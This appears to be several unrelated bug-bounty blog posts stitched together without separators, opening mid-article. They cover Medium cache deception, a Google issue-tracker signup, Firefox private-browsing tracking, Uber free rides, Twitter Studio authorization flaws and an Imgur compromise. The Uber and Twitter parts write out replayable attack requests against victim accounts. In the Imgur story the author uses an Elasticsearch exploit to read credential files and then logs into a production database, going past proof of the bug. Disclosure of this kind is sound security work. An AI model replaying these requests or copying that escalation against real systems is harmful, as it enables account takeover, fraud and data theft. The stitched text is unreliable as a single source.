Aug 24 — Sent my initial report, and received an automatic email which said that Medium would try to get back to me within 48 hours.

Sep 14 — Checked with them if something wasn’t clear since they hadn’t responded yet.

Nov 1 — Issued another message, saying was fine with me if my report got rejected, and asking for a response so I would know they received it.

Nov 20 — Response from Medium! apologizing for the delay and rewarding my bug with $100 and a shirt.

I guess it took them a while because Cache Deception isn’t the usual kind of bug people report — but I was just hoping for a quick response asking me for more explanation or something. I assumed no one was reading their inbox.

P.S. the bug was rewarded only $100 because Medium’s program is small, not because it’s lame :P

Cache Based Attacks — Further Readings

Cache-based attacks have been known for a long time, but were considered mostly theoretical until the recent publish of two outstanding works by Omer Gil and James Kettle. If you find the subject interesting, don’t miss these:

Web Cache Deception Attack — Omer Gil, Feb 2017

While demonstrating it on PayPal, Omer claims the term Cache Deception for this new and amazing attack vector.

Practical Web Cache Poisoning — James Kettle, Aug 2018

Cache Poisoning has been known for years, but by publishing his extensive research James made it practical. Check out his follow up article on the subject “Bypassing Web Cache Poisoning Countermeasures” too.

See you next time…
???

Hello Everyone!

I was reading some write-ups, and I came across this bug which I liked: “Getting a Google employee account.” It was a nice find by Alex Birsan. I started testing the issue tracker, and I was trying to see if I could get a Google account. Then looking around in issue tracker, I noticed in the browse components there were two public issue trackers. So I clicked on Android Public Tracker.

I could see bugs reported to Android there. To report a Bug in the Android public issue tracker, you can send an email to:

buganizer-system+componentID@google.com

where android’s component id is 190923.

I could see that my issue got listed in the public issue tracker. I got a confirmation email from buganizersystem+my_email@google.com. A reply to this email would be directed to:

buganizer-system+componentID+issueID@google.com

I responded to that email, and a comment was posted in the conversation. I could add a Google email to see if I could get a confirmation code. To test this I clicked on Forwarding and POP/IMAP in Gmail settings and added the Google email to the forwarding email address. I was surprised to see I got a confirmation code in the Android public issue tracker.

There are two parts here to get a Google account Signup and verification. I could verify a Google account, but I could not signup for an @google.com account, so my report was closed as Won’t Fix. I almost gave up, because after the initial fix I could not use my google.com email. But I decided to give it one last try.

Then I started visiting every sub-domain of Google to see if I could use a google.com email to signup. This new signup page appeared (see below). Initially, I could not find “Use my current email address instead” to get it to go to https://partnerissuetracker.corp.google.com/. Then you would click on Create an account, and you could see there was an option to use your current email address.

My heart rate increased after seeing the new signup page. I began to sign up using the buganizer-system+componentID+issueID@google.com email and then it asked me to verify by entering the code.

Verify your email address

I was waiting for the verification code in the conversation, and then I received the verification code in the email and the conversation in the issue tracker.

After successfully signing up for the Google Account, I reopened the issue. The impact here was that you can access https://google.ridecell.com which requires a Google account. Besides this, I tried to upgrade my account to Gmail now as I had a Google account. I added it to my Gmail, and I was able to send an email using from buganizer-system+componentID+issueID@google.com

If you try to spoof google.com email, your mail will land in spam. But my email appeared in the inbox, and it was from @google.com so an attacker could pretend that they were a Google employee.

Nice catch!

It was 9:50 PM when I was looking for bugs, and finally, the most awaited email arrived: I was getting $3133.70. I could not sleep the whole night.

Check out this video to see more:

Thanks to Alex Birsan — this would not have been possible without his write-up. I learned a lot from reading his write-up. Also, thanks to Avinash Jain and Alex Birsan for taking the time to review the draft.

Thanks for reading!

Gopal Singh (https://twitter.com/gopalsinghcse)

If left unfixed this flaw could have wreaked havoc but Mozilla’s prompt fixes saved the day.

In this article, I’ll discuss details of a bug I discovered with Mozilla Firefox private browsing mode that made it possible for private browsing sessions to be tracked.

Private Browsing is one of the most widely known and used features in modern browsers today. Browsers continually add many enhancements to private browsing to enhance the users’ privacy.

The features offered might differ from one browser to another, but at the very least a user using private browsing has the two most basic requirements:

1. Websites visited in private cannot save any data

2. Visited pages are not saved

Well, I discovered that the Firefox browser Private browsing mode didn’t meet any of the above requirements.

Technical Details

For a website to track a user across private browsing sessions, it needs to use some persistent storage at the browser level.

There are multiple ways of storing data in a browser - LocalStorage, WebSQL and IndexedDB.

I recently came across IndexedDB storage.

IndexedDB is a low-level API for client-side storage of significant amounts of structured data, including files/blobs - Mozilla Developer Network

Although, as per the documentation, IndexedDB should not be available in private browsing mode.

If you use IndexedDB directly on the webpage, it will throw an error:

But what happens if you combine IndexedDB with Web Workers?

Web Workers makes it possible to run a script operation in background thread separate from the main execution thread of a web application - Mozilla Developer Network

Issue Details: The Fallout

IndexedDB can be accessed in private browsing mode via Web Workers. Not only that, but when the browser is closed, the IndexedDB data is not cleared. This stored data will persist across multiple private browsing sessions because it is not cleared when exiting. ?

So let’s look at a few ways this issue could be abused.

Websites

A malicious website can leverage IndexedDB and track users across private browsing sessions. For example, say you visited badsite.com, which uses Web Workers and IndexedDB in private browsing mode. Close the private browsing window, close Firefox, start Firefox again, start private browsing mode, and again visit badsite.com. The website will be able to access the data from your previous private browsing session, as the data is still stored in IndexedDB.

Third-parties

Let’s assume siteA.com loads an analytics script from BadAnalyticsSite.com. Then another website, siteB.com, also loads an analytics script from the same website BadAnalyticsSite.com. Since the malicious website BadAnalyticsSite.com uses Web Workers and IndexedDB, the website BadAnalyticsSite.com can now track users of websites siteA.com and siteB.com across all their private browsing sessions.

Disk leaks

IndexedDB adheres to a same-origin policy, which means that every database has a name that identifies it within an origin. Because domain name is used as part of the file name, this can result in serious issues when used in private mode.

For example, if a user visits a test webpage (demo) which uses Web Workers + IndexedDB hosted on cdn.cliqz.com, and loads a resource from konarkmodi.github.io, the following two entries are created on disk.

Location of IndexedDB: profile/storage lists Poc web pages.

Because of the above flaw, a website/tracker could effectively generate a fingerprint and save it. Even if a user were to clear the website history or select the option “forget about this site,” the IndexDB storage is not removed. This can create a permanent storage for a website or a tracker that can be leveraged forever.

Report and Fixes

Mozilla encourages security research for their products. In their own words:

The Mozilla Client Security Bug Bounty Program is designed to encourage security research in Mozilla software and to reward those who help us create the safest Internet software in existence.

I reported this issue in October 2017 via their Bug Bounty Program, and the issue was fixed in November 2017. They were prompt to identify and fix the issues.

For more details, you can read the complete bug report at Mozilla’s Bugzilla.

I really appreciate Mozilla’s efforts and actions in fixing issues with the highest priority when it comes to the privacy of its users.

Happy Hacking!

You can follow me on Twitter at Konark Modi

Thanks for reading and sharing ! :)

If you liked this story, feel free to ??? a few times (Up to 50 times. Seriously).

_Credits: Special thanks to Remi and Pallavi for reviewing this post :)_

Summary

This post is about a critical bug on Uber which could have been used by hackers to get unlimited free Uber rides anywhere in the world. This post also explains few best practices while integrating payment gateways.

Description

Uber Technologies Inc. is an online transportation network company, headquartered in San Francisco, California, with operations in 528 cities worldwide. Users can create their account on Uber.com and book a ride. When the ride is completed a user can either pay cash or charge it to their credit/debit card.

But, by specifying an invalid payment method (for example, abc, xyz, and so on), I was able to ride Uber for free.

To demonstrate the bug, I got permission from the Uber Team and took a free ride in India. I wasn’t charged for any of my rides, using the invalid payment method.

Vulnerable request:

POST /api/dial/v2/requests HTTP/1.1 Host: dial.uber.com {“start_latitude”:12.925151699999999,”start_longitude”:77.6657536,
“product_id”:”db6779d6-d8da-479f-8ac7–8068f4dade6f”,”payment_method_id”:”xyz”}

Steps to reproduce:

1. Replayed the above request with random characters as payment_method_id.
2. Ride was free.

Video POC:

Thanks to Uber Security team for fixing this quickly.

The timeline

Aug 22nd 2016: Vulnerability Report to Uber.

Aug 26th 2016: Uber requested more information about the bug.

Aug 26th 2016: Took a free ride and replied with ride details

Aug 27th 2016: Vulnerability fixed by Uber.

Sep 10th 2016: Rewarded with $5000 bounty by Uber.

Takeaways

As a developer, you should always take care of the below test cases when integrating payments:

a) Verify if the payment was success or failure by doing a server to server request to payment gateway or verifying checksum to the payment gateway provider.

b) Always validate the amount of the item with the amount which was paid by the user to the payment gateway.

c) Validate currency in the payment API calls. For example, the attacker can pay 50 IDR for a 50 USD item.

d) If you are storing credit cards/debit card information, then always check for authorisation if an identifier is being passed in one of the API requests.

AppSecure is a specialised cyber security company with years of skill acquired and meticulous expertise. We are here to safeguard your business and critical data from online and offline threats or vulnerabilities.

Contact us: hello@appsecure.in

Summary

This blog post is about an Insecure direct object reference vulnerability on Twitter. This vulnerability could have been used by attackers to undertake various activities. For example, they could tweet from other accounts, upload videos on behalf of users, delete pics/videos from the victim’s account, or view private media uploaded by other twitter accounts. All endpoints on studio.twitter.com were vulnerable.

Description

Twitter is an online news and social networking service where users post and interact with messages, called “tweets”, restricted to 140 characters. Registered users can post tweets, but those who are unregistered can only read them. Users access Twitter through its website interface, SMS, or a mobile device app.

Twitter launched a new product named Twitter Studio (studio.twitter.com) in September 2016. I started looking out for security loopholes after the launch.

All API requests on studio.twitter.com were sending a parameter named “owner_id” which was the publicly available twitter user ID of the logged in user. The Owner_id parameter was missing authorisation checks for changes, which allowed me to take actions on behalf of other Twitter users.

Vulnerable request #1 (Tweeting from other Twitter accounts.)

POST /1/tweet.json HTTP/1.1Host: studio.twitter.com

{“account_id”:”attacker’s account id”,”owner_id”:”victim’s user id”,”metadata”:{“monetize”:false,”embeddable_playback”:false,”title”:”Test tweet by attacker”,“description”:”attacker attacker”,”cta_type”:null,”cta_link”:null},”media_key”:””,“text”:”attacker attacker”}

Replaying the above request with the victim’s ID resulted in a tweet from the victim’s account.

Vulnerable request #2 (Upload Media from another’s account)

POST /1/library/add.json HTTP/1.1Host: studio.twitter.com

{“account_id”:”attacker’s accountid”,”owner_id”:”victim’s id”,”metadata”:{“monetize”:false,”name”:”abcd.png”,”embeddable_playback”:true,”title”:”Attacker”,”description”:””,”cta_type”:null,”cta_link”:null},”media_id”:””,”managed”:false,”media_type”:”TweetImage”}

Replaying above request with the victim’s owner_id uploaded media from other user accounts.

Vulnerable request #3 (Delete videos of other accounts)

POST /1/library/remove.json HTTP/1.1Host: studio.twitter.com

{“account_id”:”attacker’s account id”,”owner_id”:”victim’s id”,”media_key”:”victim’s video id”}

Replaying the above request with victim’s user id and victim’s media_key deleted media from the victim’s account.

Vulnerable request #4 (Private media disclosure)

GET /1/library/list.json?account_id=attacker’s account id&owner_id=victim’s id&limit=20&offset=0 HTTP/1.1
Host: studio.twitter.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [https://studio.twitter.com/library](https://studio.twitter.com/library)
Cookie:
Connection: keep-alive

Replaying the above request with the victim’s user ID and my account ID leaked all private media of the victim’s Twitter account in response.

Video Proof of concept

All tests were done on a friend’s account after getting his permission.

#1 Tweet from victim’s account, Private media leakage

#2 Delete media from victim’s tweets

Timeline

29th August 2016

Reported all findings to Twitter in 3 different reports, as the endpoints were different.

2nd September 2016

Received response from Twitter team saying we are looking into the issue and would be closing out other reports as duplicate, as they shared the same root cause — i.e. missing owner_id check.

3rd September 2016

Bounty of $5,040 rewarded by Twitter

I’m the founder of AppSecure, a specialised cyber security company with years of skill acquired and meticulous expertise. We are here to safeguard your business and critical data from online and offline threats or vulnerabilities.

You can contact us at hello@appsecure.in

So you think your memes are safe…

Sorry not sorry.

I’ve been meaning to write about this for a while. It all started back in July 2015 when I decided to look for vulnerabilities in Imgur, an incredibly popular image sharing platform.

The reason I chose Imgur was because I frequently visited the site and I was already familiar with how the site worked. After a quick survey, I managed to identify some common vulnerabilities: XSS, clickjacking, and a whole load of CSRF issues.

Reporting the issues proved to be a little difficult. The only way I could see to contact Imgur was through their support system which wasn’t suitable for reporting security issues. Eventually, August 1st, I wrote up a report detailing the issues, shipped an email off to security@imgur.com, and waited. But not for long.

A couple of hours later, I received an email from Imgur’s founder and CEO, Alan Schaaf, thanking me and offering me some swag as a reward. Over the next few days I continued to forward them reports of vulnerabilities I discovered, including one which would later earn me over $5,000.

Things were quiet for a while. I occasionally checked to see if any of the issues had been fixed, and sure enough, many were. It was nice to know they were taking the issues seriously, and that I was helping secure the platform.

Then, in late September, Imgur got hacked. Someone was able to upload an HTML file with malicious Javascript to Imgur and proceeded to target 8chan users.

This was quickly fixed, however it was widely reported and clearly something Imgur wished hadn’t happened. In response, Imgur finally launched their bug bounty program a week later.

This was great news, as now people had a way of securely reporting issues. I contacted Alan once more asking if any of my reports were eligible for a bounty, and he put me in touch with one of Imgur’s developers, who confirmed I was eligible and asked me to create a report on HackerOne. For all the vulnerabilities I had reported — 20+ in total — $50 was my reward. The reason being “for the most part, we’re offering swag for CSRF reports, so you’re more of the exception here”.

Before Imgur created their bug bounty program, Imgur was riddled was CSRF vulnerabilities. Some, which have now been fixed, include: the ability to update the user’s bio, the ability to generate a new client secret for a given Imgur app, and the ability to change the redirect URL for a given Imgur app. These were some of the issues I had initially reported, so to be rewarded with only $50 was quite disheartening.

However, the developer was clear: the program was new, and they were still learning and trying to improve it. With that in mind, I gave him a list of the issues I had reported and he confirmed there was much more in the reports than he had realized.

In the few weeks between discussing the issues and getting an additional reward, I discovered something else interesting.

During my initial research, I looked through Imgur’s HTML source code and found the following snippet:

$(function() { if(!/^([^:]+:)\/\/([^.]+\.)*imgur(-dev)?\.com(\/.*)?$/.test(document.referrer)) { Imgur.Util.jafoLog({ event: ‘galleryDisplay’, meta: { gallerySort: ‘viral’, galleryType: ‘hot’ }}); } });

This led me to perform some recon on imgur-dev.com, which turned out to be the domain Imgur uses for internal development. A quick Google search for site:imgur-dev.com revealed Google had indexed the subdomain “alan.imgur-dev.com” which contained a development version of Imgur. The server, however, was down at the time. I was able to view a cached copy of the page which revealed some interesting information, including database tables and column names in SQL queries output by Kohana’s profiler.

Fast forward to November, I decided to take another look at imgur-dev.com again. Boom! alan.imgur-dev.com was live and accessible. What did I find? It was essentially Imgur as you know it with a couple of users and a few test posts. What’s notable is it’s a developer’s environment — I could see stacktraces which included parts of Imgur’s source code, PHP warnings and notices, details about the environment, database queries, and full paths to configuration files.

With these details I created another report on HackerOne and waited for a response. Two days later, I took yet another look at alan.imgur-dev.com. This time I decided to use SubBrute on alan.imgur-dev.com to see if there were any sub-subdomains which may be of interest.

Not longer after starting the scan, I got a hit: es.alan.imgur-dev.com. A quick visit showed it was an Elasticsearch server which hadn’t been updated in a while. In fact, after searching around for an Elasticsearch vulnerability, I discovered CVE-2014–3120.

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search.

Naturally, I grabbed a proof-of-concept script and tried reading /etc/passwd. Bingo. File read successfully. Now, the safe thing to do here would be to report the issue and move on. Not this time. Imgur was at the stage of offering $50 rewards and swag. I wasn’t happy with that. I decided to go further and see how badly I could pwn Imgur if I wanted to.

One configuration file I noticed earlier on was called “keys.php”. I decided to try and read it as I had done /etc/passwd, and once again it was a success. This file contained everything I needed. API keys for Fastly and MailChimp, mobile app API keys, even reCAPTCHA API keys. Sweet. But that’s not all… the file also contained the credentials used to connect to both the local and remote MySQL servers. Whoops.

The problem now was that I didn’t know the hostname of the remote MySQL server, and I can’t connect to the local one remotely. Wat do?

I went back to the scan of subdomains, and there was another hit. sql.alan.imgur-dev.com. Oh yes, you know what’s about to happen…

I visited the domain and was greeted by phpMyAdmin. Now, usually you’d expect to enter only the username and password to login. Luckily for me I was given a choice of hosts to connect to. One was the local server, and the other was a remote server hosted on Amazon AWS. I selected the remote server, entered the credentials, and I had full access to Imgur’s production database.

Well, there you have it, it was fun to write about… Oh, you thought that was it? That’s not all, folks.

The configuration file also contained two sets of Amazon AWS access keys — one set for development and one set for production. So what did I do next?

Nothing.

Although I know I could have used the keys to spin up new servers, SSH into existing ones, or completely destroy them, I decided against even testing whether they worked.

An important part of security research is knowing when to stop.

I went far enough to prove how serious the issue is, and demonstrate what a malicious attacker could do, while not being overly careless or intrusive.

This needed to be fixed, and fast. I updated the HackerOne report with my new findings, and emailed Alan urgently to bring it to his attention. Within half an hour the server was offline. The next morning, Alan replied letting me know that access to the server was disabled while they figured out the next steps. I was incredibly impressed with how they handled it.

A security group configuration error allowed Imgur development environments to face the public internet. Typically these environments were protected behind a special endpoint which would open access to authenticated Imgur employees for a short time window. Since the development environments were configured in such a manner to make development easier, some keys and environment variables were exposed. While most of these pieces of sensitive information were limited to the development environments, some production information was also exposed. Since this report was published, security around development environments has been completely re-worked and they now reside behind a VPN.

Moving forward to early December, for both the multiple vulnerabilities and the high risk issue I had reported, I was rewarded with $500. Needless to say, I wasn’t impressed. I decided to write a email to Alan giving my feedback on the program so far, and also explaining why $500 wasn’t enough.

Bug bounties are like hiring mercenaries. Cheaper than a standing army of pentesters. But don't complain when they swap sides for more gold.

A week later Alan replied, agreeing with the points I had made, and said the team would have a meeting about the program soon. I was pleased to hear my feedback was taken seriously. Sometimes it helps to talk to the CEO directly for real change to happen.

Forward once more to January 2016, Alan sent me a final email.

Hey Nathan,Happy new year! I was finally able to sync up with my team and come to a conclusion on this. Since your exploit went above and beyond (contained several exploits all chained together, access to production data, etc), we want to go above and beyond for you too, and have agreed to offer you an additional $5,000. This is so much higher than anything we've ever offered before, but again, this exploit was so much higher than anything that hasbeen found before, so I think it's deserving and I hope it's sufficient for you.Thanks so much for protecting us and properly reporting it to us. Best of luck in the new year.Best,Alan

This was fantastic news to receive. Not only did Imgur change their bug bounty program to pay out fairly to researchers, the additional $5,000 has helped myself and others incredibly. Half of that went to people in need, including Lauri Love, a hacker facing extradition to the United States, and a close friend who was recently made homeless. Various charities and researchers also benefited from it.

I’ve continued to participate in Imgur’s bug bounty program, and while it’s not perfect, it’s responded and paid out nicely to myself and others. I hope other teams can learn from Imgur’s willingness to take on feedback and improve, as communication around security is so very important.

What’s next for me? I hope to continue learning and work to make the Internet a safer, securer environment for future generations. The Internet is tiny compared to what it will be in 10 years time. The battle isn’t over, and war is yet to come.

If you’re looking for a challenge, I highly recommend checking out Imgur’s bug bounty program and others on HackerOne.

You can follow me on Twitter where I tweet about security, the terrible British weather, and memes. Yeah. You know you want to… :-)